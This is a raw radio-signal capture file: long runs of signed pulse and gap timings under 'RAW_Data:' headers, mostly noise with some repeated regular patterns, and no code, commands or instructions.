-54 71 -101 53 -231 103 -1039 89 -544 67 -216 83 -120 51 -196 53 -173 102 -139 99 -58 51 -259 107 -96 88 -208 51 -162 75 -359 105 -91 178 -344 75 -589 101 -163 77 -340 143 -223 71 -122 53 -912 124 -100 116 -62 195 -460 51 -90 73 -132 69 -252 140 -309 91 -388 96 -64 73 -357 69 -270 96 -342 201 -356 82 -331 61 -54 67 -243 184 -114 79 -186 59 -356 75 -127 75 -298 133 -215 124 -66 132 -82 67 -66 59 -92 81 -305 94 -189 89 -175 67 -170 53 -742 79 -80 51 -54 81 -80 131 -591 91 -357 120 -979 109 -143 63 -98 67 -325 139 -330 80 -1009 71 -275 81 -310 95 -108 57 -150 53 -279 63 -96 51 -217 127 -92 131 -1015 55 -113 53 -224 51 -197 51 -528 69 -527 63 -463 149 -440 95 -92 55 -68 71 -82 63 -179 59 -56 89 -179 153 -72 63 -98 126 -181 147 -284 53 -90 87 -62 63 -279 53 -88 86 -302 76 -107 75 -110 61 -618 71 -113 141 -295 85 -70 57 -308 71 -104 63 -134 83 -52 55 -152 159 -68 -RAW_Data: 63 -174 77 -281 77 -200 165 -72 69 -138 51 -417 124 -80 61 -579 53 -98 117 -72 166 -150 74 -108 89 -299 70 -98 96 -112 63 -136 150 -259 97 -379 165 -136 59 -329 96 -122 103 -269 59 -154 85 -410 116 -201 67 -414 85 -72 85 -674 133 -224 51 -132 164 -165 69 -134 69 -209 61 -212 92 -128 75 -356 51 -136 198 -154 51 -805 59 -146 77 -682 109 -242 127 -54 51 -54 203 -225 53 -256 67 -508 71 -78 112 -503 104 -179 68 -72 95 -70 75 -387 73 -277 63 -176 123 -162 63 -126 87 -392 69 -152 204 -568 51 -326 89 -1313 92 -488 159 -161 55 -104 65 -140 129 -80 68 -327 79 -170 152 -540 95 -519 51 -136 57 -479 208 -323 59 -125 61 -290 51 -109 164 -334 1375 -56 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 278 -301 79 -308 53 -54 69 -52 106 -187 126 -98 76 -420 233 -450 55 -113 61 -162 93 -187 108 -113 67 -188 71 -493 131 -312 57 -125 51 -317 53 -124 85 -52 53 -172 65 -177 99 -302 65 -78 51 -72 51 -90 73 -76 53 -1052 53 -404 104 -266 61 -54 79 -196 121 -309 92 -60 81 -54 79 -394 205 -531 63 -377 89 -60 85 -339 81 -337 147 -80 99 -201 103 -466 71 -54 97 -484 65 -96 59 -258 96 -126 126 -128 115 -503 53 -248 59 -280 53 -315 83 -100 97 -54 199 -135 65 -230 73 -227 124 -257 59 -80 106 -108 72 -54 134 -116 73 -194 71 -297 65 -203 111 -124 88 -229 113 -249 106 -54 132 -332 113 -457 284 -226 57 -96 65 -60 71 -331 77 -144 186 -877 86 -134 160 -94 73 -178 85 -79 182 -192 57 -355 51 -149 55 -213 51 -251 105 -89 73 -58 69 -168 59 -236 80 -164 133 -54 115 -54 87 -76 51 -775 59 -188 133 -142 53 -128 65 -114 61 -478 79 -98 73 -333 133 -74 91 -308 89 -370 61 -62 113 -469 63 -88 53 -62 71 -114 89 -429 59 -210 84 -104 67 -84 166 -333 93 -277 174 -54 59 -126 145 -213 51 -164 181 -687 83 -52 113 -482 53 -110 75 -430 61 -277 51 -92 153 -80 87 -258 1075 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -62 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -62 63 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 127 -128 127 -56 69 -62 63 -126 63 -64 63 -62 127 -130 63 -62 -RAW_Data: 125 -128 63 -64 125 -128 127 -56 69 -62 63 -128 127 -128 63 -62 125 -66 61 -64 61 -128 127 -128 63 -64 125 -128 63 -62 127 -128 127 -128 125 -56 69 -62 273 -292 148 -288 231 -197 53 -64 107 -90 139 -96 51 -159 57 -147 172 -114 83 -271 61 -177 67 -235 230 -54 104 -54 97 -95 61 -72 75 -66 69 -97 53 -52 77 -78 96 -70 166 -78 131 -107 217 -90 222 -52 103 -209 89 -111 99 -58 79 -106 79 -110 96 -74 88 -128 99 -64 355 -72 79 -136 71 -120 140 -76 51 -117 121 -171 59 -131 53 -81 222 -199 87 -100 51 -54 371 -267 89 -250 53 -116 169 -80 322 -52 85 -246 67 -118 135 -177 121 -174 112 -68 102 -68 138 -138 59 -102 259 -165 169 -107 141 -168 81 -72 69 -187 61 -268 97 -157 204 -245 156 -54 157 -168 93 -72 59 -80 57 -131 186 -82 116 -314 91 -497 61 -263 121 -100 205 -724 81 -156 112 -301 103 -172 51 -611 109 -190 218 -100 133 -569 129 -93 59 -178 53 -100 79 -144 79 -217 170 -52 104 -167 117 -315 63 -695 67 -363 112 -116 115 -64 99 -184 89 -393 96 -138 65 -180 61 -99 51 -260 79 -189 73 -158 89 -412 102 -127 61 -259 53 -534 61 -498 111 -108 63 -430 115 -402 65 -142 112 -132 59 -624 81 -1314 89 -74 55 -52 89 -244 63 -181 93 -486 53 -122 63 -74 67 -64 71 -338 67 -461 51 -194 85 -191 133 -167 51 -54 97 -258 88 -131 97 -297 63 -282 135 -492 57 -155 80 -247 51 -118 70 -332 125 -54 79 -68 94 -125 53 -354 71 -107 97 -84 73 -343 87 -403 171 -372 53 -309 75 -1112 112 -56 122 -146 79 -72 61 -54 61 -186 51 -490 61 -90 57 -284 132 -60 51 -203 75 -282 164 -64 59 -96 65 -158 147 -372 95 -113 86 -70 145 -66 168 -74 88 -180 51 -76 144 -98 79 -218 51 -141 59 -187 83 -135 119 -133 164 -198 88 -86 103 -184 93 -249 130 -90 51 -269 93 -86 185 -133 61 -62 159 -62 77 -604 59 -147 169 -108 61 -54 53 -114 155 -90 214 -222 73 -212 135 -120 113 -60 139 -126 81 -72 63 -106 63 -62 51 -74 293 -778 61 -76 144 -176 57 -111 129 -52 95 -142 132 -116 75 -264 214 -145 141 -108 93 -164 92 -72 61 -62 153 -216 63 -467 53 -162 210 -142 61 -107 104 -358 79 -62 81 -124 111 -147 51 -301 95 -151 61 -96 153 -62 63 -697 101 -120 51 -474 55 -254 59 -175 79 -239 71 -98 53 -72 63 -591 51 -218 -RAW_Data: 53 -137 69 -827 158 -354 89 -180 71 -76 61 -442 83 -229 88 -122 53 -196 71 -54 57 -220 87 -180 53 -246 114 -618 164 -52 124 -306 59 -103 53 -459 97 -127 71 -62 113 -236 63 -82 105 -110 89 -222 73 -84 107 -52 218 -190 67 -52 61 -309 73 -164 59 -100 61 -473 177 -268 53 -80 99 -362 113 -171 51 -239 51 -70 51 -281 83 -120 100 -445 53 -102 69 -175 53 -262 63 -735 94 -72 97 -140 61 -104 51 -209 63 -133 61 -54 91 -126 96 -280 99 -255 130 -74 153 -80 91 -292 101 -240 85 -201 221 -830 71 -304 51 -64 69 -154 51 -140 71 -185 53 -447 53 -60 53 -216 53 -80 51 -434 100 -186 73 -354 71 -223 81 -525 81 -172 67 -104 63 -413 153 -695 59 -831 51 -98 147 -259 246 -72 158 -98 150 -817 51 -418 59 -172 148 -74 206 -118 156 -215 61 -62 81 -229 67 -128 75 -64 71 -62 61 -180 59 -466 99 -152 59 -265 59 -331 103 -301 57 -138 55 -326 114 -103 133 -156 284 -149 95 -153 111 -118 107 -208 120 -326 113 -88 84 -224 120 -60 81 -72 97 -108 79 -106 73 -145 207 -89 89 -139 148 -159 133 -78 104 -190 77 -241 163 -138 53 -515 71 -108 51 -114 69 -64 67 -291 98 -172 59 -68 95 -512 140 -260 53 -676 146 -123 103 -160 59 -217 172 -111 67 -128 53 -230 53 -126 111 -125 97 -456 348 -411 83 -64 73 -282 122 -99 130 -90 69 -70 135 -369 99 -165 200 -353 149 -72 99 -303 156 -60 75 -133 89 -394 129 -142 53 -90 83 -344 51 -94 77 -609 53 -398 67 -128 83 -133 67 -603 61 -160 51 -121 67 -153 133 -104 53 -83 79 -220 223 -113 71 -436 108 -52 123 -90 104 -70 87 -116 53 -64 175 -135 112 -80 121 -442 73 -337 71 -393 51 -151 71 -114 123 -172 51 -238 61 -304 139 -218 53 -258 91 -112 133 -230 51 -436 93 -1036 51 -60 71 -685 83 -100 69 -162 95 -126 107 -421 71 -150 53 -330 88 -116 195 -102 79 -430 53 -88 115 -197 53 -135 63 -62 111 -163 97 -413 88 -393 89 -195 105 -264 63 -761 96 -142 65 -182 63 -108 53 -90 71 -64 96 -190 125 -190 87 -124 124 -491 95 -436 67 -232 73 -221 306 -372 61 -140 65 -268 179 -130 69 -951 112 -112 139 -70 53 -235 61 -54 53 -227 197 -76 67 -117 75 -337 115 -149 51 -258 65 -287 89 -488 67 -56 121 -330 87 -160 77 -526 69 -407 88 -501 101 -92 61 -90 121 -456 69 -78 59 -74 123 -482 -RAW_Data: 89 -54 87 -296 150 -820 91 -348 985 -54 71 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 215 -124 51 -156 105 -247 211 -217 71 -104 61 -90 93 -1096 107 -70 149 -352 112 -108 53 -267 79 -54 53 -734 73 -404 92 -60 87 -288 146 -350 53 -761 59 -166 139 -256 104 -307 97 -210 88 -397 107 -794 71 -127 135 -389 167 -197 77 -220 278 -821 65 -388 53 -249 63 -412 75 -545 140 -90 53 -219 53 -337 53 -150 103 -715 59 -243 109 -121 51 -261 65 -221 117 -398 95 -76 53 -472 53 -258 167 -118 63 -146 63 -636 63 -272 53 -771 51 -81 166 -66 69 -64 57 -131 89 -160 53 -62 63 -424 57 -118 53 -305 51 -202 89 -66 224 -213 81 -100 73 -366 83 -370 106 -414 76 -305 89 -172 -RAW_Data: 190 -95 69 -107 77 -66 81 -337 53 -691 53 -369 63 -62 70 -158 53 -202 130 -155 61 -114 108 -234 102 -820 53 -330 71 -554 186 -176 170 -60 67 -605 138 -249 99 -420 249 -311 51 -292 69 -158 63 -210 87 -313 69 -520 59 -123 87 -411 67 -104 93 -418 59 -54 71 -62 193 -336 53 -144 65 -314 132 -218 57 -283 57 -96 112 -120 51 -203 55 -134 80 -348 178 -746 71 -108 227 -107 141 -187 71 -58 107 -784 61 -54 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 61 -64 63 -64 63 -62 129 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 125 -130 63 -62 63 -62 63 -62 63 -64 127 -128 127 -128 127 -128 125 -56 69 -126 127 -128 127 -128 55 -62 133 -64 61 -64 61 -64 63 -64 63 -128 127 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 127 -128 127 -56 69 -62 63 -126 65 -62 63 -64 125 -130 63 -62 125 -130 63 -62 125 -128 127 -56 71 -62 61 -128 127 -128 63 -62 127 -64 61 -64 61 -128 127 -128 63 -64 125 -64 61 -64 63 -62 63 -128 127 -64 63 -62 63 -62 63 -64 273 -80 53 -293 59 -297 102 -172 139 -164 377 -256 165 -252 78 -158 59 -86 110 -127 79 -270 69 -511 71 -133 103 -207 55 -275 57 -134 53 -285 55 -130 114 -120 120 -276 91 -196 102 -108 89 -110 95 -99 145 -66 59 -208 53 -125 311 -265 121 -601 67 -82 51 -359 89 -542 59 -374 107 -329 63 -265 69 -321 67 -127 97 -248 109 -508 69 -523 70 -305 53 -192 106 -169 59 -125 89 -258 71 -100 89 -410 71 -170 61 -660 71 -106 110 -282 67 -68 53 -84 75 -78 53 -156 87 -167 71 -68 77 -124 57 -82 75 -68 146 -322 142 -550 -RAW_Data: 87 -149 103 -772 53 -224 256 -104 117 -270 61 -432 75 -307 61 -62 103 -391 176 -72 176 -231 102 -567 63 -62 71 -162 71 -833 105 -140 89 -235 71 -183 119 -98 119 -297 83 -104 97 -291 160 -54 77 -211 210 -131 146 -130 78 -97 135 -221 53 -588 93 -154 114 -288 53 -151 135 -64 53 -195 148 -54 77 -70 67 -264 137 -78 81 -515 120 -102 73 -90 57 -138 53 -394 53 -88 85 -72 71 -359 61 -74 85 -224 173 -68 53 -190 51 -68 240 -133 135 -182 104 -124 73 -134 53 -439 89 -407 85 -82 61 -346 192 -106 63 -190 90 -68 67 -269 53 -431 202 -482 59 -161 80 -134 69 -124 69 -74 108 -116 89 -328 61 -344 61 -52 53 -129 65 -72 99 -892 77 -72 93 -298 79 -128 65 -64 96 -239 159 -331 143 -54 85 -313 53 -124 77 -132 126 -255 55 -121 111 -188 111 -172 75 -793 146 -101 94 -177 148 -262 79 -90 57 -84 53 -118 106 -52 205 -93 98 -183 73 -89 59 -129 81 -68 184 -200 320 -315 51 -68 188 -82 73 -96 89 -98 89 -131 278 -156 113 -60 154 -157 107 -70 67 -531 97 -180 59 -107 125 -148 83 -52 93 -117 91 -92 172 -348 51 -502 92 -251 128 -529 89 -54 116 -308 71 -260 120 -80 76 -135 71 -126 87 -131 79 -78 65 -160 89 -98 59 -499 53 -114 101 -117 73 -114 91 -109 112 -138 67 -86 79 -232 188 -296 93 -129 83 -187 112 -238 142 -289 59 -62 95 -88 73 -213 86 -135 69 -295 63 -111 63 -172 83 -459 81 -826 95 -76 65 -64 71 -130 67 -636 53 -270 75 -245 63 -275 71 -219 81 -64 81 -136 67 -133 75 -426 93 -338 67 -198 61 -72 121 -279 51 -127 69 -136 51 -141 51 -90 91 -104 71 -436 53 -106 107 -64 71 -122 79 -140 59 -280 59 -74 83 -300 107 -320 87 -134 63 -189 106 -296 61 -64 315 -159 106 -150 69 -722 89 -140 258 -675 71 -85 107 -89 81 -816 79 -132 141 -307 113 -92 76 -60 188 -112 59 -83 63 -142 59 -263 226 -227 83 -107 119 -465 51 -196 93 -205 97 -224 79 -379 63 -160 59 -62 77 -159 97 -56 75 -200 216 -416 88 -531 75 -193 98 -374 71 -235 106 -451 169 -383 57 -78 152 -200 138 -105 146 -166 85 -340 63 -144 53 -251 115 -124 127 -186 69 -86 53 -106 67 -128 57 -54 51 -340 51 -250 258 -82 102 -212 138 -500 61 -54 89 -126 83 -178 53 -520 104 -80 53 -708 79 -488 96 -101 222 -503 59 -260 141 -90 100 -381 -RAW_Data: 59 -74 73 -328 123 -196 65 -157 89 -303 75 -106 71 -186 59 -337 73 -338 153 -166 129 -208 115 -112 96 -54 63 -188 51 -62 81 -157 53 -52 65 -406 67 -677 77 -573 200 -852 55 -153 81 -90 178 -304 51 -166 104 -95 91 -243 73 -237 69 -151 51 -131 97 -453 114 -124 89 -82 97 -108 132 -170 259 -78 107 -126 53 -328 89 -130 125 -80 79 -271 51 -82 53 -108 150 -237 51 -92 61 -222 85 -131 99 -138 256 -97 87 -264 69 -371 51 -94 85 -76 104 -82 75 -162 141 -70 81 -114 69 -78 137 -256 119 -154 51 -52 55 -314 89 -54 122 -521 185 -180 145 -154 65 -106 145 -122 105 -197 109 -62 95 -54 116 -108 91 -60 282 -190 124 -212 124 -52 314 -62 238 -675 71 -248 71 -1057 63 -74 103 -381 69 -70 53 -124 57 -156 65 -68 118 -118 69 -80 63 -522 57 -765 75 -133 55 -138 59 -274 89 -297 57 -365 195 -309 126 -522 141 -116 107 -244 106 -90 232 -114 57 -64 53 -80 71 -424 84 -56 140 -130 115 -194 51 -76 99 -62 103 -72 106 -259 95 -331 61 -366 53 -159 55 -398 126 -82 59 -424 123 -605 51 -64 117 -202 77 -169 87 -54 67 -236 51 -86 55 -76 59 -136 73 -156 53 -219 97 -194 61 -318 59 -294 63 -114 100 -458 89 -212 63 -353 95 -84 71 -515 91 -376 65 -129 61 -200 51 -126 67 -286 83 -56 81 -280 57 -80 141 -232 192 -593 53 -179 111 -1022 51 -129 63 -261 176 -140 111 -54 57 -285 81 -178 71 -60 245 -164 89 -54 53 -133 83 -149 67 -455 115 -129 167 -162 148 -310 187 -430 112 -143 61 -332 71 -132 67 -151 75 -328 65 -266 152 -175 105 -211 71 -350 79 -288 93 -116 51 -138 61 -403 108 -218 94 -58 61 -580 93 -128 148 -52 97 -163 71 -180 67 -178 71 -255 79 -192 83 -122 67 -62 96 -168 95 -228 124 -360 55 -140 65 -273 160 -174 55 -520 83 -96 67 -157 85 -116 51 -791 53 -90 67 -370 217 -120 135 -461 73 -152 101 -476 61 -116 257 -90 214 -108 93 -78 71 -117 63 -60 53 -474 67 -202 53 -249 92 -599 67 -372 63 -98 55 -82 95 -160 73 -96 150 -157 51 -95 71 -680 57 -438 53 -354 61 -419 305 -74 89 -1318 59 -281 57 -118 67 -391 89 -408 93 -93 59 -118 139 -191 99 -1022 63 -132 67 -98 78 -90 105 -405 89 -54 98 -62 65 -643 53 -100 131 -62 79 -108 61 -296 69 -143 132 -117 140 -406 81 -116 65 -332 93 -309 111 -349 -RAW_Data: 85 -135 87 -88 159 -387 53 -228 99 -165 53 -106 57 -346 89 -147 65 -663 51 -188 51 -212 128 -359 73 -172 51 -120 118 -355 73 -189 85 -408 109 -289 53 -293 97 -158 127 -529 97 -130 71 -98 51 -68 69 -76 79 -974 53 -82 81 -275 171 -183 53 -54 89 -633 81 -147 85 -100 89 -186 240 -458 88 -272 59 -99 55 -315 274 -419 59 -306 51 -152 69 -166 53 -167 73 -231 136 -174 103 -66 106 -461 71 -132 59 -310 85 -186 117 -70 125 -187 51 -170 53 -234 132 -62 98 -98 97 -90 67 -216 156 -378 108 -82 77 -145 53 -106 88 -134 81 -229 93 -114 99 -437 59 -54 115 -110 53 -586 61 -90 51 -88 55 -153 71 -256 104 -160 79 -525 91 -163 53 -64 61 -68 79 -128 166 -52 144 -403 75 -68 89 -669 51 -119 87 -54 95 -173 77 -547 73 -293 107 -342 53 -88 119 -504 71 -72 53 -210 103 -224 89 -157 219 -459 110 -246 69 -115 87 -221 168 -140 51 -164 67 -153 79 -372 90 -418 61 -396 75 -336 82 -134 76 -60 179 -642 107 -275 154 -731 59 -249 67 -313 107 -92 61 -207 71 -241 81 -166 67 -103 125 -499 67 -183 53 -312 53 -198 63 -98 119 -1032 63 -411 110 -153 57 -332 61 -216 55 -242 95 -88 57 -276 85 -182 87 -560 53 -222 51 -187 53 -62 65 -333 124 -430 53 -98 63 -62 63 -109 89 -54 107 -145 84 -429 53 -130 89 -140 188 -134 67 -277 61 -106 81 -54 106 -184 87 -294 51 -58 51 -661 115 -461 138 -359 51 -652 75 -231 170 -347 53 -148 67 -678 115 -454 71 -144 75 -454 86 -98 111 -185 114 -179 132 -413 65 -64 81 -302 128 -219 53 -429 59 -272 101 -418 53 -247 113 -436 75 -741 85 -60 53 -52 103 -218 57 -54 77 -88 93 -528 99 -158 61 -54 87 -488 63 -138 71 -116 143 -240 53 -286 88 -114 150 -108 73 -299 106 -244 89 -713 63 -428 71 -98 51 -341 63 -100 61 -82 71 -116 201 -80 78 -201 71 -286 107 -464 74 -500 89 -399 90 -559 87 -247 67 -99 51 -68 81 -156 172 -139 104 -56 53 -54 53 -234 202 -142 73 -533 96 -116 125 -907 73 -98 51 -615 55 -712 179 -373 99 -309 119 -670 87 -1022 53 -72 103 -104 53 -343 99 -1165 51 -128 63 -163 67 -207 74 -153 142 -62 53 -217 103 -223 71 -196 69 -709 53 -201 93 -70 75 -707 73 -664 61 -160 96 -830 59 -274 51 -115 79 -555 82 -184 114 -54 53 -195 137 -250 53 -261 73 -324 53 -438 -RAW_Data: 87 -88 89 -243 130 -54 53 -439 53 -131 71 -80 53 -90 71 -130 105 -587 71 -180 59 -208 53 -196 71 -474 67 -491 69 -230 53 -379 88 -68 79 -90 71 -164 61 -313 161 -114 69 -280 67 -60 105 -54 53 -90 77 -222 86 -54 51 -1066 80 -76 103 -164 57 -96 271 -60 118 -260 91 -140 53 -203 53 -90 95 -158 105 -176 51 -74 67 -52 73 -572 103 -89 179 -68 135 -174 71 -371 73 -368 132 -768 138 -242 144 -297 59 -273 81 -394 89 -153 151 -293 51 -111 67 -178 73 -75 59 -123 83 -156 71 -126 121 -227 114 -398 90 -819 61 -346 59 -228 93 -564 79 -298 53 -269 67 -216 53 -575 79 -54 51 -131 51 -299 51 -197 124 -206 72 -85 67 -631 99 -406 131 -60 67 -224 109 -176 53 -90 134 -175 51 -596 53 -72 89 -358 231 -278 63 -316 126 -108 61 -145 53 -170 74 -177 147 -240 89 -52 53 -387 63 -250 106 -68 125 -84 174 -154 87 -241 89 -166 134 -90 166 -184 137 -396 114 -72 88 -82 51 -318 71 -108 75 -165 59 -231 155 -96 183 -505 75 -268 121 -343 88 -796 89 -180 55 -89 67 -568 67 -391 71 -225 116 -114 53 -82 75 -422 115 -825 61 -68 67 -60 61 -296 71 -214 100 -318 89 -116 87 -108 53 -90 61 -285 68 -577 158 -220 108 -156 51 -253 142 -284 77 -76 61 -90 73 -258 73 -225 79 -110 133 -598 59 -221 71 -130 61 -401 84 -617 51 -118 59 -661 96 -224 67 -166 92 -346 67 -134 181 -471 71 -390 77 -208 67 -534 185 -62 183 -266 51 -279 53 -124 53 -174 97 -273 53 -178 97 -977 110 -269 81 -138 115 -241 148 -600 67 -182 93 -98 67 -169 151 -593 81 -62 51 -114 97 -170 99 -110 81 -201 67 -245 87 -267 77 -105 115 -361 63 -642 132 -71 53 -288 73 -624 51 -173 71 -144 53 -108 69 -295 83 -200 135 -432 122 -203 86 -166 71 -583 111 -52 67 -165 89 -211 117 -113 53 -325 77 -170 59 -334 113 -120 69 -359 81 -188 179 -262 77 -104 79 -60 69 -108 222 -212 51 -102 51 -310 71 -936 71 -558 55 -246 51 -460 61 -206 99 -315 53 -64 51 -68 71 -133 53 -160 172 -176 97 -68 51 -239 65 -62 63 -146 57 -60 95 -126 59 -250 89 -685 59 -68 73 -148 69 -188 69 -554 61 -461 55 -786 53 -64 154 -476 57 -70 77 -275 192 -196 57 -54 98 -530 73 -230 127 -373 149 -267 152 -197 95 -150 63 -54 53 -98 117 -266 106 -144 67 -80 55 -556 53 -70 -RAW_Data: 61 -66 71 -60 86 -130 77 -680 79 -162 103 -181 101 -168 67 -257 67 -144 63 -372 85 -106 125 -584 67 -80 61 -78 158 -325 53 -98 115 -386 105 -231 79 -283 88 -72 196 -68 51 -178 189 -219 89 -665 61 -1111 123 -409 79 -116 53 -62 53 -604 65 -451 153 -470 127 -304 53 -64 53 -223 98 -634 71 -321 69 -124 53 -100 59 -538 103 -80 99 -305 67 -372 78 -78 161 -72 112 -374 51 -56 114 -250 75 -126 53 -62 51 -432 71 -60 67 -325 51 -211 65 -132 59 -144 130 -64 144 -187 59 -529 53 -172 94 -108 67 -287 89 -72 78 -453 99 -380 75 -150 87 -170 53 -90 170 -392 131 -52 67 -500 67 -52 97 -72 75 -60 63 -208 71 -205 61 -116 67 -150 71 -80 71 -238 51 -161 51 -118 67 -620 88 -205 91 -60 109 -269 101 -110 59 -595 59 -277 55 -339 59 -817 86 -58 53 -288 51 -282 61 -1000 225 -683 71 -319 110 -118 81 -68 85 -341 57 -302 63 -84 108 -132 79 -301 59 -490 101 -251 124 -68 95 -154 53 -207 53 -162 79 -363 117 -495 97 -139 69 -66 57 -209 113 -136 53 -448 53 -196 51 -54 103 -409 53 -255 178 -281 88 -82 83 -82 59 -338 67 -280 104 -535 154 -150 53 -84 53 -285 99 -107 63 -54 86 -537 69 -270 63 -239 63 -247 59 -74 83 -307 89 -1146 59 -563 75 -86 63 -802 53 -180 89 -340 99 -299 63 -86 65 -323 71 -145 99 -291 190 -52 69 -342 89 -60 96 -54 63 -168 98 -152 53 -186 89 -209 129 -172 61 -173 53 -619 134 -136 75 -208 78 -347 63 -160 93 -247 59 -195 143 -180 51 -150 89 -858 164 -401 127 -169 51 -66 75 -488 114 -366 51 -362 136 -125 81 -78 105 -108 89 -96 177 -76 113 -116 59 -278 71 -426 85 -297 61 -210 51 -191 61 -184 59 -140 110 -642 238 -624 71 -90 67 -405 71 -86 71 -328 85 -68 98 -88 75 -242 59 -656 59 -277 93 -979 53 -140 85 -350 53 -629 97 -474 57 -193 96 -54 67 -238 65 -696 61 -79 99 -163 65 -524 102 -193 63 -163 63 -424 63 -471 113 -128 53 -331 57 -163 51 -835 51 -60 51 -243 95 -152 329 -223 67 -78 61 -60 79 -72 106 -525 71 -540 69 -329 148 -337 65 -190 51 -134 79 -108 51 -425 114 -428 99 -207 83 -352 105 -94 86 -708 75 -128 53 -242 53 -312 84 -90 71 -143 51 -128 51 -72 59 -408 59 -206 83 -211 65 -375 89 -382 101 -116 79 -72 183 -156 65 -409 63 -270 139 -138 -RAW_Data: 89 -633 136 -271 55 -160 71 -122 53 -444 93 -104 82 -155 51 -466 81 -199 81 -128 51 -172 53 -62 104 -706 71 -170 71 -162 61 -119 97 -548 51 -90 77 -298 57 -638 67 -315 51 -290 104 -303 745 -56 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 